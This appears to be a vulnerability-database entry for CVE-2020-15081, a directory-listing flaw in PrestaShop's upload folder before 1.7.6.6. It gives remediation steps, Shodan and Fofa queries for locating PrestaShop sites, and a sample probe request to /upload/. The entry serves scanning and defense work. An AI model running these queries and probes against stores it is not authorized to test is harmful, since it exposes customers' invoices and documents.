| Title | PrestaShop < 1.7.6.6 - Information Exposure via Upload Directory |
|---|---|
| Author | 0x_Akoko |
| Severity | Low |
| Impact | Attackers can enumerate uploaded files potentially exposing sensitive customer data, invoices, or internal documents. |
| Remediation | Upgrade to PrestaShop version 1.7.6.6 or later, or add an empty index.php file in the upload directory as a workaround. |
| CVSS Score | 5.3 |
| EPSS Score | 0.21362 |
| CVE ID | CVE-2020-15081 |
| CWE ID | CWE-548 |
| Shodan Query | http.component:"PrestaShop" |
| Fofa Query | app="PrestaShop" |
| Tags | cve cve2020 prestashop exposure directory-listing |
PrestaShop versions after 1.5.0.0 and before 1.7.6.6 are vulnerable to information exposure through directory listing in the upload directory due to a missing index.php file.
GET /upload/ HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Kubuntu; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2020/CVE-2020-15081.yaml
🦈 Packet Capture: ⬇️ Download cve-2020-15081.pcap
N/AN/A